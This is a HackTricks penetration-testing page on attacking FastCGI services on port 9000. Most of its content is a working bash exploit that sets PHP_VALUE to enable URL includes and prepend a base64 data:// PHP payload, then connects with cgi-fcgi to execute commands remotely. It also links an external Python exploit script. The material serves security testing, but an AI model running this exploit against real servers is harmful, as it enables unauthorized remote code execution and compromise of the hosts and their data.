HackTricks
Searchโ€ฆ
๐Ÿ‘ฝ
Network Services Pentesting
9000 - Pentesting FastCGI
Support HackTricks and get benefits!

Basic Information

If you want to learn what is FastCGI check the following page:
By default FastCGI run in port 9000 and isn't recognized by nmap. Usually FastCGI only listen in localhost.

RCE

It's quiet easy to make FastCGI execute arbitrary code:
#!/bin/bash
โ€‹
PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';"
FILENAMES="/var/www/public/index.php" # Exisiting file path
โ€‹
HOST=$1
B64=$(echo "$PAYLOAD"|base64)
โ€‹
for FN in $FILENAMES; do
OUTPUT=$(mktemp)
env -i \
PHP_VALUE="allow_url_include=1"#x27;\n'"allow_url_fopen=1"#x27;\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT
โ€‹
cat $OUTPUT
done
or you can also use the following python script: https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75โ€‹
Support HackTricks and get benefits!
Copy link
On this page
Basic Information
RCE